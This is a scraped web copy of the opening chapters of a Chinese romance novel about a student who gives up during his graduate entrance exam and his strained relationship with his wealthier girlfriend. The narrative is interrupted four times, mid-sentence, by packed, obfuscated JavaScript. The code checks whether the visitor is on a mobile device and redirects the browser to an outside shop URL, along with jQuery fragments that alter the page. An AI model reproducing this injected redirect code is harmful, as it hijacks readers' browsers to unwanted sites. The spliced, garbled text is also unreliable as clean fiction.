《我的麋鹿小姐》 第1章 逃兵 “写给陪伴我孤独路上的每一个人。” ----------------------- 这是十二月的第三个星期天。 距离本年度研究生入学考试结束还有四十分钟,周围考生笔尖触碰答题卡发出的“嘶嘶”声,像是无数只小虫,在我心头爬动,扰得我心神不宁。 我已经没有心思答题,因为我看不到上岸的希望, 轻轻地瞥了一眼时间,我侧过头将目光投向正在奋笔疾书的相黎。 她正不遗余力地书写着,澄澈的眼神中透露出一抹坚毅之色,好似有无尽的力量在支撑着她,势必要将一年来所有的努力都倾注在这张答题卡上。 此刻,我的所有思绪像是被一股无形的力量牵引着,全部系在了相黎的身上。我没再答题,而是看着她那张坚定又认真的脸,由清晰渐渐变得模糊。 …… 相黎是我谈了两年多的女朋友,一个土生土长的上海姑娘,从她身上总能嗅到来自大城市淡淡的忧伤和隐隐的愤懑。我们俩就像是一对相互契合的齿轮,彼此内心多出来的余热都恰好能够填补对方情感上的空白。 我们都是这所大学的准毕业生,学的专业却截然不同。她的专业与钱紧密相连,而我所读的地勘类专业却将我置于一个被遗忘的角落。这种专业上的差异,残忍地映射出我们二人的日常——她从来不会为生活费发愁,而我却常常深陷在快要吃土的困境中。 她虽然从小是在上海长大,但是她爸老家在合肥,为了方便她放假时回老家,她居然买了辆沃尔沃s90!更离谱的是,为了停放那辆s90,她竟然在大学城附近租了套月租三千的房子——要知道,我一个月的生活费都不足两千,为了和她在一起“平等”地恋爱,我做过各种副业兼职,什么游戏代练、酒吧驻唱、在学校里回收转卖二手数码产品,拉下脸借着学长的身份拉着学弟学妹进驾校报名,以赚取驾校给的介绍费…… 从另一个更现实的层面来说,我的专业在目前的就业环境下,毕业后大概率难以找到一份称心的工作;相黎不一样,她家庭条件优越,读的是热门专业,学习也上心,在就业市场占尽优势。退一万步说,即便她没有那一张文凭,也完全不妨碍她有一个令人艳羡的好前程——但我没有。 她的心思也远比我细腻得多,当我还在研究游戏怎么上分的时候,她早早就为我们本科毕业以后的发展,构建了一幅宏伟的蓝图。考研计划便是第一步,因此年初她便劝我跨专业考研,跟她后面一起考上海财经大学的金融专硕,考上的话两全其美,她可以回家边上学,而我也能够借此达到跨专业改行的目的。 只是她可能不清楚,我作为大学挂科名单上的常驻嘉宾,鲜红成绩单上大半侥幸的60分,也并不是我够努力,能及格没挂科完全是老师通情达理。每一次的期末成绩都算是我的“污点”,我却从未在她面前提起过。有着如此不牢固的基础,她竟要我一同去考上海财经大学的研究生,还是近年来水涨船高的金融专硕。 这一年来,我在她的撺掇下稳扎稳打,起早背单词、背专业课,放弃娱乐活动投入图书馆学高数、线代、概率论。我问心无愧地说,我并没有懈怠。 然而,这场考试对我而言,终究还是无力回天,目标院校与我的距离实在是太过遥远,犹如一道无法跨越的鸿沟。 …… 我沉重合上了笔帽,在考场结束的铃声尚未响起时,我颤抖着举起手向监考老师示意交卷,我根本不敢,也无力回头去看一眼相黎此刻会是怎样的神情,我害怕看到那个会令我心碎的眼神。 出考场后,初冬傍晚的冷风好像卷起了这个冬天所有的寒意,不讲情面地割在我的脸上,并顺着衣服的空隙无情地爬进我全身的每一个毛孔。 这次研究生考试和寒风肆掠下的冷空气一样,凉透了。 在这次兵荒马乱的考场上,我成了一个逃兵。说白了,考了三门课下来,我感受不到一丝希望。 …… 我没回学校宿舍,而是独自一人在学校外边的宁国路上抽着烟,漫无目的地走了很久很久。 校外的光景一如往常,唯独多了一具被抽空灵魂的躯壳。来往车辆依旧潮水般奔涌着,它们的引擎声和喇叭声响彻整个街道,恨不得将这座城市淹没;熙熙攘攘的人群照常像蚂蚁一样匆忙穿梭于街头巷尾之间,有人满面春风,就有人愁眉不展。 这里的空间被无限压缩,每个人都被挤在一个狭小的盒子里,无法自由伸展身体。 看了眼手机屏幕,时间5点10分,考试已然落下帷幕,考生们应该也陆陆续续走出了考场。我静静地伫立在这既热闹也冷清的街道上,心里此刻犹如一团乱麻。 …… 拿出手机,又看了一眼时间,距离考试结束已经过去了近半个小时,考场内的信号屏蔽仪已悉数关闭,我很想给相黎打个电话,但是我已经没有颜面再去打扰她,我背弃了我们之间的约定。 挣扎之中又怕相黎打电话过来问罪,我从烟盒里又摸出一支烟,点燃后深吸了一口;我准备将手机关机,今天谁也别想联系我,就让自己 当一个彻彻底底的懦夫……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039891|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在滑动关机键时,我的手指竟不听使唤地犹豫了,它仿佛有了自己的意识,它的犹豫就是在无声地抗议我这懦弱的行为。 突然,手机上一个惊雷般的号码打了进来,竟然是相黎。 纠结片刻,我还是按下接听键,但是没说话,电话那头的她同样也没有言语。 我们就这样沉默着,时间仿佛在这一刻凝固了,大约沉默了十秒钟,相黎率先打破了这僵持着的尴尬局面,她的声音轻轻地传来:“在哪儿呢?” “……” 我张了张嘴,却发现喉咙像是被什么东西堵住了一般,依旧说不出话来。我努力调整着呼吸,试图让自己平静下来,可心中的慌乱怎么也无法平息。 “头转过来。”她语气平静地说着。 这声音让我心里猛地一揪,我难以置信地缓缓转过头去,相黎的身影醒目地出现在几十米开外。 我们四目相对,我的心突然被一只无形的手紧紧攥住,让我一阵恍惚,整个世界都跟着陷入了一种奇异的静谧之中。 难道她一直跟在我身后?我是提前半小时出考场的,她也提前交卷随我出来了吗? 我怔在了原地,相黎神情淡然,一步步向我靠近,从她脸上瞧不出任何情绪的表露,正因为这样,我却能察觉到她心底的不甘、失望以及那被压抑着的怒火。 意外的是,她并没有开口提及考试的事情,脸色一如往常,只是眼神中多了一丝不易察觉的疲惫。 她平静得有些可怕,说道:“我不想在外面和你吵……饿了,先找个地方吃饭去……都走到这儿了,就去之前那家一般饭店吧,味道还不错……” 于是,我们俩径直地朝着一般饭店的方向走去。一路上,气氛显得有些沉闷,我没问她什么时候出来的,那是一个不能轻易触碰的话题,而她也没提我提前交卷的事,也在刻意回避着什么,我们就这么沉默了一路。 迎面吹来的晚风微微吹动着她的衣尾,让她不自觉地拉紧了外套,尽管身体向我肩膀挪了挪,却没有像平时一样搂住我,我们两人就这样貌合神离地行走着。 我时不时地瞥着她的侧脸,她的轮廓仿佛是由素描笔一笔一笔精心勾勒而成,再点缀上那艺术家所独有的优雅与孤独,美得犹如一幅绝世的画作。 …… 到了这家名叫“一般饭店”的小饭店,我坐在包间里抽着烟,相黎拿着笔,对着菜单和服务员点菜。 等服务员拿着点菜单出包间门后,相黎原本平静的脸变得阴沉无比,压着声音问我:“顾懿,你到底想干什么?” 第2章 见不得你哭 手中的一支烟快烧完了,给指尖传来了一阵灼热的痛感,我没有扔掉快燃尽的烟头,而是任由它继续燃烧,直至烧得我食指指背火辣辣地疼,这才让我彻底看清楚面前的相黎。 “我考不上的……” 相黎眼角微微跳了一下,愣了片刻,挑眉说道:“啊?原来是考砸啦,还以为你提前交卷是胜券在握呢!……毕竟是上财的金融,确实难,但是你为什么要中途放弃?!都已经坚持到最后一步了,就不能咬咬牙?我和你一起并肩作战,你就不能照顾一下我的感受吗?” 她的语气有些疲惫,问:“我的想法,在你心里就这么不值钱?” 我点上一支烟,不知道怎么回答她。 话在嘴边,却硬是说不出来,我并非想逃避她,恰恰是太在乎这段感情,过于在乎的结果就是深深的无力感。我无助地发现自己努力向上攀爬,却始终翻不过那座大山,这场考试是山,毕业后还会有更高的山,我站在山脚痴痴地仰望山顶,那种浓烈的无力感就像一只无形的大手,将我死死地摁在原地,毫无还手之力。 直到烟盒抽空了,我抬起头直视着她的眼睛,问道:“有没有感觉到,离毕业越近,咱们间的距离反而越远了?” “没有!” “要不是在同一所学校上学,恐怕这辈子我和你说话的机会都没有……我们本就不是一个阶层的人,毕业过后,你有你的路要走,你没必要拽着我一起……” “可我偏要拽着你呢?” 我心里泛起一阵自嘲,苦笑道:“我每个月的生活费还不够你车子的油钱……” “在你心里,我是个把钱看得很重的人?不一样的经济基础,有不一样的活法……你现在想法太偏激,我不和你争……喝点?” “喝酒?你等会儿不回翡翠湖了?酒驾进局子我可不去捞你。” 相黎在翡翠湖校区上学,而我所在的学院在大三的时候就从翡翠湖校区搬来了老校区,而这次考试点设在老校区。相黎是开着她那辆 s90 过来的,车就停在学校附近街道的临时停车位上。 相黎冷笑一声,原本就带着几分傲气的脸上此刻更是布满了寒霜,“你甭管我怎么回,叫你喝你就喝,啰哩吧嗦得像个老太婆一样!” 不等我反驳,相黎做出暂停的手势,打开包厢房门头也不回地出去了,片刻后便拿了瓶酒过来,还是52°的高度白酒。 她皱着眉,跟那瓶古井20年的白酒包装盒做着斗争,久拆不下。 “别拆了,不兴喝白的,喝多了回去被辅导员发现,处分少不了!” 我只随口一说,相黎闻言脸上终于是绷不住了,先前绷紧的情绪如同江河破堤,她发疯一般撕破了酒盒,将拆封的酒重重搁在桌上,神色冰冷地咬牙道:“顾懿!你怕辅导员……难道就不怕我吗!” 她的语调逐渐升高,夹杂着快要喷薄欲出的怒气,还带有轻微的哭腔。我宁愿她一鼓作气,把心里压抑住的情绪歇斯底里地发泄在我身上,甚至想她狠狠地扇我两下,这样我会好受一点。 也许是和她从小的家庭教育有关系,她并不擅长发火,也不懂得在愤怒的状态下说些难听的话,虽然她说过今天要回翡翠湖,但是在朝我吼完一声后,还是毅然决然地给杯子里倒了半杯酒,旋即端起杯子就要一口饮下。 见状,不多想,我便抢过她手中的杯子,一饮而尽。这半杯高度白酒仿佛是带着相黎的怒气冲进我的喉中,依次在我的嘴里、喉咙里、胃里发疯,我仿佛听见了酒精在我身体里绝望地歌唱,以至于我也红了眼眶。 相黎毫不犹豫地顺走我餐位上的空杯,动作迅速而利落,接着就又倒了半杯酒,作势就要喝下去。我眼疾手快,再次夺过她杯中的酒,一仰头就一口喝了下去。 “姑奶奶,你再倒一杯,我也就倒了!”我无奈地说道。 “那你还喝!”相黎白了我一眼,眼神中带着恨意,又似乎有一些别样的情绪。她的嘴角微微蠕动,对我的行为既好气又好笑。 “因为我见不得你哭……” 至此,她没再倒酒。 …… 在我的印象之中,相黎不开心时是很少说话的。明明她是一个根本不会喝酒的人,可在烦心的时候竟然也会吵着闹着要拉着我一起喝酒。然而酒喝了之后,她却又不说话了,就一个劲儿地哭。眼泪是女人最强力的武器,与其说每次是陪她出来喝酒,不如说是做她眼泪的俘虏,俘虏最后的下场就是要伺候这个小祖宗到酒醒。 …… 可这一次,她没有喝一滴酒,眼眶却和我一样红润了,呜咽着:“我也没奢望都考上,本来就难。而你,把它当成了人生成败的赌注,我说得对吗?我……我只是想和你真正意义上体会一次为了共同的目标去全力以赴,可是最后关头你选择当逃兵……也许,你想逃避的不是考试,而是我吧……” 她曾经说过,毕业之后大概率会回上海,毕竟她的亲人、朋友都在那边。这也就意味着,要想和她走下去,上海将是我毕业之后必须奔赴的目的地。上海确实是一座充满着魅力与机遇的都市,但它真的能留得住人吗?特别是像我这样一个普 普通通的人,我实在没有信心,以我目前的能力能够在上海安家立业,并且给予她所期望的幸福。 爱能战胜一切的童话故事,仅仅存在于童话世界里,在这无比现实的世界中根本不适用。 …… 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039892|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着说道:“顾懿,以前和你说过的,我是艺术生,从小读的就是音乐附小、音乐附中,按照家里原本的计划,我应该在本专业继续深造,然后按着他们写好的剧本,一路无忧地过一辈子。但是不行啊,真的……不行啊……” 说到这,她又潸然不止,极力想忍住失控的情绪,哽咽道:“中学过后,白天我练一天的琴,晚上熬夜学文化课。最后我填高考报名表的时候,所有人都觉得我有病,老师、同学都在劝我,家里人眼看苦劝不成,就差动粗了……我就知道会是这个结果,但我做的决定就不会改变!” 她言辞恳切,脸上带着一种对命运抗争的决然,却始终没有告诉我其中的缘由,这多半是她一直以来埋藏的心结,她不愿公开,我也没有多问。尽管已经不是第一次听她说起过往,但依旧还是无比震撼。 她有这样的天赋和毅力,上财的金融专硕在她面前完全可以考上,而她现在却和我一样放弃了。 想到这里,我愈加地百感交集,我是个罪人,罪无可恕。 相黎长舒了口气,眼神中重拾希望的光芒,说:“哥哥已经在他们期待的目光中活成了他们想要的样子,只有爸爸跟我说去做自己,他活得很累,完全没有自我,但我做什么他都无条件支持我,就想我这个女儿自由、快乐,那我就一定要活出自己想要的样子!” 我不禁唏嘘,感叹道:“妮妮,能遇见你真是很不可思议了,倘若你没有坚持弃艺从文,毅然决然地做出那个改变人生轨迹的决定,那我们恐怕就如同两条永远不会有交点的平行线,一辈子没有相遇的那一天……” 以我对她的了解,她绝对不是一个由着自己性子胡来的人,反而是十分体贴别人的情绪,我试探性地问道:“你说过,你爸老家在这里,所以你才考到合肥来的吗?” 相黎释然一笑,点了点头。 她苦笑,我大概就懂了,像她这样有主见的女生,身上有着不属于这个年纪的成熟。不是因为生命中某个重要的人和某件重要的事,不会这般离经叛道,全国这么多学校,以她这种条件,完全没必要选择咱们这所大学。既然选了,肯定有她的理由,很容易就联想到和她爸爸有关。 “愣着干嘛,不饿吗?”相黎擦拭着脸上的泪痕,盯着桌上的菜,问道。 能不饿吗?将近一杯白酒下肚,我感觉全身都开始躁动起来了,只是习惯了去照顾她的情绪,以至于忽略了酒的呛口和灼心。 相黎倒是表现得轻松,好似什么都没有发生,夹起桌上的椒盐虾,刚进嘴里,就又盛了碗汤,惬意地喝了起来。 “妮妮,你对我是不是很失望?” 没想到她的答复很干脆,“你把这瓶酒全喝下去我就告诉你。” 第3章 对你没有期望 这一瓶可是一斤的量,我这喝酒方面的菜鸟压根儿不可能喝得下去。相黎这么多次拉我出来喝酒,我倒下的次数,不比她少。 那沉甸甸的酒瓶立在桌上,仿佛在无声地展示着它的份量,瓶身中晃动的液体看起来竟有些让人望而生畏。我看着那瓶酒,心中涌起一阵自嘲,在它面前自己竟也如此弱小无力。 可是,这一刻我突然很想听听她内心深处的声音。 “今晚你又要做保姆了……” 相黎嘟囔着没有回应,似是想到什么,说道:“顾懿,你知道为什么每次喝酒都要拉着你吗?” “我酒量大?” “得了吧,你不比我好到哪儿去!你醉的次数不比我少!”她好像因为找到了一个可以在我面前得意的事情而沾沾自喜。 她转念一想,问道:“顾懿,你还记得我大学里第一次喝酒是啥时候吗?” 当然记得,那时候才和她认识不久,介于陌生和熟悉之间,她居然异想天开地想请我去喝酒,我既惊喜又诧异。最后也没见她喝多少酒,就坐在那里哭,一边哭得稀里哗啦,一边吐得不成样子,没有半点矜持少女的模样。 为了不提起她的不堪往事,我答道:“次数太多,不记得了……” “我记得。” 相黎吃了口菜,放下筷子继续道:“虽然大学已经接近尾声,但我的朋友其实并不多,说真的,我和你们班几个的熟悉程度,比我对自己班的都熟,你、高炜、寒艳和钟璇,还有你同寝另外一个阿乐也挺有意思的……我自己班同学除了班长和室友,基本连名字都叫不上……顾懿,你有没有觉得我很不合群?” “记不住名字就不合群了?要记住那么多人的名字做什么?人这一辈子,充其量顶多也就遇见三个人,一个要你活,一个要你死,另一个根本不在意你死活。我觉着吧,那些整天混迹在各种所谓‘朋友’之间的人才是真不合群……” 相黎一直是个很有主见的人,问我的很多问题,在她心里早就已经有了答案,她只是缺乏安全感而已,想在我这里将答案印证。 相黎点点头,继续回忆道:“电影《东邪西毒》里面说有一种叫醉生梦死的酒,喝下去就可以忘记任何不好的记忆,所以我想试试,那次是我第一次喝酒……虽然那时和你还认识不久,但总感觉和你有说不完的话……” “可你酒倒是喝了,有说不完的话却什么也没说……” “看见你坐在对面跟没事儿人一样,傻乎乎地,就不想把不开心的情绪传递给你,但我又想到自己遇到的糟心事儿,就觉得委屈……” “那怪我喽,是我不对,我不该以乐景衬哀情,咱两应该在一起开个比惨大会。话又说回来,你难道不知道酒喝多了会醉吗,况且对面坐了一个活生生的雄性动物,你就不怕我是个衣冠禽兽,趁你喝醉占你便宜?” “确实想过……不过我认为你不是这样的人……事实上我的猜测是对的,那天我喝多之后你也没对我做什么……呵!顾懿,你要真是对我做了什么不好的事,今天我就不会和你坐在这里。” 那天晚上她醉酒的后续就是,我们没地方去,我含泪掏腰包在酒店开了个标间,她在床上睡了一夜,时不时蹬了被子,时不时朦胧半醒吵着要水喝。怕她难受,我没合眼,窝在沙发上玩了一晚上的王者荣耀。 “你怎么就确定我没做什么,我左脸写着贪财,右脸写着好色,额头上两个大字:坏人!” 相黎狠狠白了我一眼,说道:“是个坏人没错,那天晚上其实我醒了一次后就清醒了,我看到你打游戏压低着声音在骂人,很没素质地满嘴脏话但又唯唯诺诺的样子真是太滑稽啦!” “我没素质?脏话只是我情绪的助动词,和素质无关。再说我是怕打扰你休息……还有就是,我声音那么小你听清说什么了吗?” “当时是没听清,后来你打游戏说脏话还说少了?先收一收,今天的酒你看着办吧!” 回忆有时候真的就像麻药,能够短暂麻痹当下的痛苦,可当药劲褪去,留给当下的却是更大的苦楚。 …… 我不知道相黎的怒气有没有随着短暂的回忆过去而消散,应她的要求,后面我又喝了近两大杯,直到发现我的头已经有些摇摇欲坠了,意识也有些许恍惚,这时只要再喝一滴酒,就能彻底压垮我的身体。 我依旧拖着这副快垮了的身体,问道:“妮妮,我是不是总达不到你的期望?” 眼前的相黎,身影有点飘忽,我知道是我快醉了,不,是已经醉了,脑袋上好像顶了几十斤重的重物,摇摇欲坠,一根稻草,立刻就能把我压垮。 她移开了我面前剩下没喝完的酒,并未回答我的问题,而是问道:“没烟了?拿包烟?” 相黎又白了我一眼,没等我回话,直接跑到饭店柜台拿了包烟回来递给了我,我点了支烟,猛地吸了一口,在酒精的刺激下,本应该在平时呛人的烟显得平淡无味,甚至中和了酒精的辛辣,两股力量真的就相互抗衡上了。 我接着追问:“你还没回答我的问题呢?” “我对你没有期望。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039893|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个回答干净利落 。 我不敢相信自己的耳朵,怀疑是不是酒喝多听错了,追问道:“什么?” “我对你没有期望。” 没有期望?若是没有期望,那又何谈失望呢?在酒精的作用下,我感觉自己的思绪变得很快、很直接,全身的细胞和器官都在加速运转,我索性又点了一根烟,期望着这根烟能够减缓我血液流淌的速度,但是并没有用,我依旧问出了心中所想:“那我在你眼中是什么角色?” 酒精是情绪的催化剂,积攒已久的暖流奔涌而出,几个眨眼间,我感觉眼前的世界变成了黑白、寂静无声,寂静到听不见她都说了些什么。 这个世界非黑即白,而她是我的色彩。 直至最后的色彩也褪去,就剩下了一片漆黑,终究还是没能听到她的答案就失去了意识…… …… “喂!小伙子!醒醒、快醒醒!” 恍惚间,感觉到有人在叫我,睁开双眼还是有些朦胧,包厢里没看到相黎的身影,只见饭店的阿姨边拍着我的肩膀,边推搡着我的手臂。 看样子,我刚才喝多了就趴在桌上昏睡了过去。 “帅哥,请问你吃完了吗?” 看了手机,时间已经晚上九点了,还有好几条未读消息。我向阿姨报以歉意,示意还要再吃一会儿填饱肚子,酒醒之后饥肠辘辘的感觉太过强烈。 问过服务员之后,才得知相黎已经走了很久。我大快朵颐,尽可能地把桌上的菜吃完,桌上还有一包只抽了几根的香烟和不到半瓶的白酒。 收拾好,到前台准备结账,结果迎头就是一个晴天霹雳。 “帅哥,一共一千一百二十,这边收你一千一,收款码请扫这里。” “怎么这么多?”我拿过账单看了一眼,实则是在心里暗骂相黎,月底我手机上应该没剩下一千块钱了。 “帅哥,你们喝的那瓶酒就小七百了,那位美女中途又拿了包一百块的烟,菜也就三百多,不贵啦。”柜台阿姨在和我解释着饭钱的由来。 终于知道,相黎今晚吃顿饭这么反常,不可否认她可能是有钱,但她从来也不会像今天这样铺张,之所以如此,摆明了就是为了坑我。 我用微信给她发了个“敲打”的熊猫头表情包,转瞬间就收到了她的回复:“醒啦?” “相黎,真有你的!” “知道自己穷就应该去努力挣钱,而不是自怨自艾……这次给你买个教训!记住了,这是第一次,也是最后一次……” 第4章 骑士 我深刻地知道,现在和她之间已经有了一丝裂隙,而这种裂隙会朝着毕业的方向逐渐扩展,即便她现在选择视若无睹。 没办法,现在只能众筹了,手机上只有八百,还差四百,我于是打了个电话给室友高炜,殷勤道:“炜哥,考得咋样?” “额……听天由命吧,顾懿,你小子跑哪儿去了,今晚咱们几个开黑就差你一个,是不是又和富婆鬼混去了,嘿嘿嘿!” 其实我心里很反感别人把相黎和“富婆”这个字眼联系在一起,可这却是个不争的事实。 “回来再和你说,现在江湖救急,借兄弟点钱。” “谈钱可就伤兄弟感情了,是不是没钱在酒店开房了啊?” “去你的吧,不借我可换人了,情况万分火急,没时间和你唠!” “要多少?” “五百。” “多少?!五百!你小子真开房去了?” “有没有?” “五百借你我喝西北风啊!” “过两天就还你。” 电话那头,高炜骂骂咧咧地挂断了电话,但是微信上他还是很爽快地给我转了五百,顺带着还附了一句:“请你在寻欢作乐的时候能想起我的名字,让我也有点参与感。” …… 拎着剩下的一小瓶酒,走在回去的路上,脑袋依旧有些昏沉,身后的汽车缓缓驶过,车灯将我的影子慢慢压扁,没有马达轰鸣,好像在水里潜行似的。成群的人们有说有笑,我喜欢看萍水相逢的人来人往,他们穿着不同款式的衣服,脸上带着不同的表情,为不同的目标不停奔波。我会去想象,关于他们的工作、他们的爱好、他们的爱情……这个世界太大了,大到能容纳下芸芸众生的喜怒哀乐,大到我的呼吸就只能够湮灭在今夜这悲戚的夜色中。 打开手机,我才看到微信上发来的几条未读信息,除了高炜询问我在哪里,剩下的都是虞寒艳在问我考得如何。 她是我的高中同学,同时也是大学同学。我们读的同一个专业,尽管不同班,但有着这一层羁绊在,我们相处的时间甚至比跟同班同学相处的时间都长,因此我和虞寒艳的寝室几人互相也很熟络,高炜的女朋友就是虞寒艳的室友,他还常说是沾了我的光。 打开聊天框,我回了句:“你考上了清华,他考上了北大,我烤上了地瓜。” 没过多久,她问:“歇b了?” 虞寒艳一如既往地以我为乐子,以至于在我这儿,她从不在意她那淑女模样。 我坐在马路牙子上,将手上拎着的酒拍了照片,给她发了过去,没有再说其他。 “哟,还喝起来了,之前不记得是哪个家伙喝了几瓶啤酒就把大街当床睡?” 我没再搭理她,弓着腿,双手抱膝,眺望着远方来来往往的人群,突然想再抽支烟,在口袋里摸索半天,才发现打火机落在了饭店,我着急去旁边的便利店买了只打火机,重新坐回路边。 抽出烟盒,看着被烟熏得有些发黄的手指,才发现今天抽的烟已经够多了…… 我没有再点烟,而是翻过手背,注视着左手手指尖依稀还能看到痕迹的老茧。我又想起宿舍里的那把fg830,那是顾嘉花了好几年的奖学金买给我的吉他。 …… 顾嘉是我姐姐。 在我九岁时,父亲因茶叶厂常年亏本,和母亲婚姻也出现裂痕,整日酗酒,终有一天醉驾逃逸致人死亡,赔偿了一笔巨款后,被判了七年。母亲狠下心,带着顾嘉改嫁到了另一个陌生的家庭,把我留给了爷爷奶奶。 那年的顾嘉,十二岁。 从那时候起,我的人生似乎也跟着被宣判了有期徒刑。父亲入狱,家里一下子少了顶梁柱,只剩下爷爷奶奶苦苦支撑着父亲留下的茶叶厂,也常是入不敷出。 上初中时,班里流行听p3,我羡慕不已,但我没有选择和爷爷奶奶要钱,不想给家里添负担;我也没有理由和那个无情到有些陌生的女人索要,我知道她已经是别人的妈妈…… 这个世界上,我能撒娇的人好像只剩顾嘉…… 顾嘉时常在电话里和我说,她的日子过得也并不快乐,所以她一心学习,盼望着能够早日独立,脱离那个家庭。她听我在电话里诉说着对p3的渴望,便承诺只要我听爷爷奶奶的话,她便送我一个最好的p3。 最后,她送了我一把fg830。当时她对我说,没有伞的孩子必须努力奔跑,别的孩子用p3听音乐,我就要用吉他弹奏出来。 后来的那些寂寞时光里,接触最多的就是音乐,无论何种心境下,总有那么一首歌能够与彼时的自己完美地契合,当每天机械般的生活不断重复,情感极度匮乏,无尽的空虚袭来的时候,总会有那么几首歌能给我勾勒出一幅写满孤独却充满希冀的画卷。 渐渐地,我的琴技越来越好,却也越来越孤单。那把琴就仿佛是治疗我孤独的良药,是我给自己开出的药方。 也因为那把吉他,我在大学里的一场乐队演出时,邂逅了相黎。我是台上的节奏吉他手兼主唱,她是台下最狂热的一批观众,后来演出结束在台下碰到她,那天我们聊了很久,从我演出时的 状态聊到乐理,再聊到人生、聊到理想,聊到对音乐、对生活的态度。再后来,她做了乐队的贝斯手,我们一起用音乐探寻自由。 直到相黎出现在我的生命里,我一度以为自己遇到了生命中的那束光。临近毕业,我愈发清晰地觉察到,那束光其实并不属于我……作为学生,我没能在试卷上得到一个美丽的分数;作为男友,我没能力给她一个充满希望的未来…… 今夜又一次验证着,我自以为的欢乐,也常是充满了眼泪。于是,我任由着那单薄的灵魂在寒风中无尽悲鸣。 …… 电话突然响起,是虞寒艳打来的,接起过后,电话那头传来她的声音:“你和相黎在一起吗?” “她回去了……” “吵架啦?” “没有的事,考完试喝点酒放松一下……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039894|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “放松一下就喝成这样?” “没喝多少,马上到学校了……” “听你这语气,这么有气无力的,在哪里?我打电话通知高炜去接你,省得又在路上闹笑话!” “真不用,哥们好着呢,别啰唆了,挂了!” 挂了电话,强忍着余醉,我坐在路边点了支烟,这百元档的香烟,和我一贫如洗的模样严重不符,在呼出的烟雾里,我已经看不清和相黎的未来。 就这样,风肆意地抽走了半支,而我只能默默地抽着另外半支,这半支烟仿佛成为此刻我与这个世界唯一的联系,却也让我更加深陷在这无法排遣的孤单之中。 …… “咳咳!”几支烟的功夫过后,虞寒艳骑着她的小电驴,横在我跟前,“一到晚上就犯病,小烟还抽起来了,能不能学点好的?” 可能是冬夜寒冷的缘故,再加上大晚上骑车被冷冽的寒风吹得凌乱,即使她围了条围巾,娇俏的脸庞还是被冻得通红,眼角也不自觉地湿润了起来,仿佛是被这寒冷的冬夜给欺负了一般,透出一种惹人怜惜的模样。 更让我惊讶的是,她居然还背着我的那把吉他。 “哥抽的不是烟,是寂寞。” 她利落地停好车,卸下吉他,耸了耸肩,似是背着吉他让她肩膀发酸。接着她走到我跟前,双臂交叉在胸前,居高临下地皱眉看着我,嗔道:“赶快扔了,什么毛病!” 她摊开双臂,戴着毛绒手套的手在我面前一个劲儿地想把烟味扇走。 我掐灭了烟,缓缓站起身来,小腿有些发麻,“哎,几步路的事儿,非要过来,不冷啊?” “你也知道冷啊!”见我小腿异样,她使坏上来就是一脚,踢得我直哆嗦,“一直停在原地,麻的不是腿,是脑子!” 我的目光停留在吉他上,确是我的那把吉他没错,在我不解的神色中,她拾起吉他丢给了我,正色说道:“我想你应该明白,骑士是要迎着风追寻太阳的,而不是在夜色中等待死亡。” 她所说的“骑士”,是指我在大学里组的乐队名称——悲观骑士。记得当初在给乐队起名字的时候,我们一致认为,我们的这支乐队可以对生活愁容满面,但是不能忘了要像骑士一样冲锋。我们几位骑士就应该抱有悲悯的情怀和清醒的认知,最后“悲观骑士”这个名字油然而生。 “我这个骑士是悲观的……” “所以我一直都很不喜欢这个名字。” 她把双手插进羽绒服口袋,眼睛眯成了一条缝,嘴角露出冬日暖阳般的笑意,说道:“骑士,剑已经给你了,去冲锋吧!” “ 别这么中二行不行,你也算是咱们专业的女神,这与你的气质不搭。” “就只是我们专业的女神?” 附带着的又是踢在小腿上轻轻地一脚,我打开琴包,抚摸着这把陪伴了我多年的吉他,它的每一根琴弦上都流淌着我情感的洪流。 我问道:“你来就来,怎么把它带过来了?” 第5章 为我唱首歌吧 “哼,本来都准备睡了,一想到某个人这么晚还在大街上犯病,我这同情心就又泛滥啦,苦命啊,摊上你这么个老同学!” 虞寒艳摇了摇头,叹息道:“刚才打电话给高炜,那几个活宝在打游戏没空搭理你,只能让他帮忙把你这宝贝递给我,怎么样,看见你的宝贝,是不是开心多啦?” “我难道看起来像不开心吗?” 